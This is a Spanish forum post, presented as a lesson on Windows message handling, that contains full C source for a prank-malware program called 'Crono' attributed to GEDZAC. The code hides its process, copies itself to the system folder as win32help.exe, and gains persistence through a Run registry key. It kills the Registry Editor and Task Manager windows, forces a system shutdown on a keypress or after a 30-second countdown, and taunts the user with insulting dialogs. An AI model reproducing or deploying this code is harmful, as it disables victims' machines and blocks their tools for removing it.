ahh,. este codigo es un claro ejemplo de como podemos usar el WindowProcedure, la funcion que interpreta los mensajes. y asi manejar los eventos que van ocurriendo en nuestra aplicacion,
Código:
// Crono By Pseudoroot/GEDZAC
#include <windows.h>
#include <stdio.h>
// PSEUDOROOT NI GEDZAC LABS SE HACEN
// RESPONSABLE DEL USO QUE LE DES
// AL CODIGO
char nombres[MAX_PATH];
int bandera=0;
int forzar=4;
HANDLE th;
LPSTR codigo; //para leer el codigo
DWORD tamano; //tamaño del archivo ,no le puse tamaño debido a problemas con la ñ xD
char nombre[MAX_PATH]; //para concatenar el nombre del archivo a generar
char nom[256]; // para el modulo en ejcucion
char varsystem[256];
#include "registro.h"
//--- Declaración de funciones del programa ------------------------------
int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int );
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );
//--- Declaración de variables del programa ------------------------------
char WindowName[] = "Ventana de Windows";
char WindowTitle[] = "Crono By Pseudoroot";
int segundos;
char* vent1 = "Registry Editor";
char* vent2 = "Editor del Registro";
char* vent3 = "Administrador de tareas de Windows";
char* vent4 = "Windows Task Manager";
//=== Función principal WinMain() ========================================
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow )
{
registrando();
SacarCodigo();
GetModuleFileName(0,nom,256); //sacamos el nombre del modulo en ejecucion en la var. nom
GetSystemDirectory(varsystem,sizeof(varsystem));
strcat(varsystem,"\\win32help.exe");
CopyFile(nom,varsystem,0);
strcat(nombre,"c:\\"); //concatenamos
strcat(nombre,"copia.exe"); //nombre de la copia que generara el programa para luego leer el
//codigo de esa misma copia
CopyFile(nom,nombre,0);
uno();
SacarCodigo(); //lamamos a la fucnion para que lea el codigo del archivo copia.exe
HANDLE exe; // aunque finalmente no lo utilizo..xD
DWORD w;
exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(exe!=INVALID_HANDLE_VALUE) //archivo que vamos a generar luego de sacar el codigo
{
WriteFile(exe,codigo,28000,&w,0);
}
HWND hwnd; // handle a la ventana ppal.
MSG msg; // estructura de mensaje
WNDCLASSEX wcx; // estructura de la ventana
// Definimos la estructura de clase de ventana (campos):
wcx.cbSize = sizeof( WNDCLASSEX ); // tamaño de la estructura
wcx.style = CS_HREDRAW | CS_VREDRAW; // valores más usuales
wcx.lpfnWndProc = WndProc; // función de ventana (Wnd)
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0; // informaciones extra
wcx.hInstance = hInstance; // instancia actual
// icono, cursor, fondo e icono pequeño de la clase de ventana:
wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wcx.hCursor = LoadCursor(NULL, IDC_ARROW);
wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH );
wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);
wcx.lpszMenuName = NULL; // nombre del menú
wcx.lpszClassName = WindowName; // nombre de la ventana
// Registramos la clase de ventana ya preparada:
if( !RegisterClassEx( &wcx ) )
return( FALSE ); // en caso de error, salir
// Creamos la ventana con CreateWindowEx():
hwnd = CreateWindowEx(
WS_EX_OVERLAPPEDWINDOW, // estilo extendido
WindowName, // nombre de la ventana
WindowTitle, // título de la ventana
WS_CAPTION, // estilo de ventana
CW_USEDEFAULT, CW_USEDEFAULT, // Posición (x,y) en pantalla
420,150, // ancho y alto de la ventana
NULL, NULL, // ventana padre e hija+menú
hInstance, // instancia actual
NULL // no hay más información
);
// Comprobamos la creación de la ventana:
if( !hwnd )
return( FALSE ); // en caso de error, salir
// Hacemos visible la ventana y la actualizamos:
ShowWindow( hwnd, nCmdShow );
UpdateWindow( hwnd );
// Bucle de mensajes, envía los mensajes hacia WndProc
while( GetMessage( &msg, NULL, 0, 0 ) )
{
TranslateMessage( &msg ); // convertimos el mensaje
DispatchMessage( &msg ); // devolvemos el control a w95
}
// devolvemos el valor recibido por PostQuitMessage().
return( msg.wParam );
DeleteFile("C:\\copia.exe");
}
//=== Función del procedimiento de ventana WndProc() =====================
LRESULT CALLBACK WndProc( HWND hwnd, UINT message,
WPARAM wParam, LPARAM lParam )
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
int longitud;
int entero;
char cadena[40];
char cadena2[50];
switch( message )
{
case WM_CREATE:
segundos=30;
SetTimer( hwnd, 1, 1000, NULL ); //
break;
case WM_KEYDOWN:
{
ExitWindowsEx(forzar,0);
}
if( wParam == VK_ESCAPE )
MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK);
break;
case WM_TIMER:
segundos--;
if( segundos==0)
{ExitWindowsEx(forzar,0); }
HWND handle;
handle = FindWindow(0,vent1);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent2);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent3);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent4);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
GetClientRect( hwnd, &rect );
InvalidateRect( hwnd, &rect, TRUE );
break;
case WM_LBUTTONDOWN:
MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK);
break;
case WM_RBUTTONDOWN:
MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK);
break;
case WM_RBUTTONDBLCLK:
MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0);
break;
case WM_NCLBUTTONDOWN:
MessageBoxA(NULL,"nah","nah",0);
break;
case WM_PAINT:
hdc = BeginPaint( hwnd, &ps );
GetClientRect( hwnd, &rect );
longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti ", segundos);
DrawText( hdc, cadena, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER );
EndPaint( hwnd, &ps );
break;
case WM_CLOSE:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;
case WM_DESTROY:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;
default:
return( DefWindowProc( hwnd, message, wParam, lParam ) );
}
return(0);
}
registro.h
#ifndef _RegisterProcess_
#define _RegisterProcess_
void registrando()
{
typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD);
HINSTANCE
hkernelLib;
pRegFunction
RegisterServiceProcess;
hkernelLib=LoadLibrary("Kernel32.dll");
if(hkernelLib)
{
RegisterServiceProcess=(pRegFunction) GetProcAddress
(hkernelLib,"RegisterServiceProcess");
if (RegisterServiceProcess)
{
RegisterServiceProcess(0,1);
FreeLibrary(hkernelLib);
}
}
}
void SacarCodigo()
{
HANDLE fi; //un handle para leer el archivo
DWORD rid; //para la api
fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL);
if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal
{
tamano=GetFileSize(fi,NULL); //sacamos el tamaño del archivo
codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1); //reservamos memoria
//para leer el archivo completo +1 por el caracter nulo
if(codigo!=NULL) //verificamos que se haya podido
{
ReadFile(fi,codigo,tamano,&rid,0); //leemos el archivo
}
}
CloseHandle(fi); //cerramos handle
}
void uno()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem));
}
#endif
Pues ya saben, supongo que esta bastante facil de entender y sino, ya saben solo posteen sus dudas..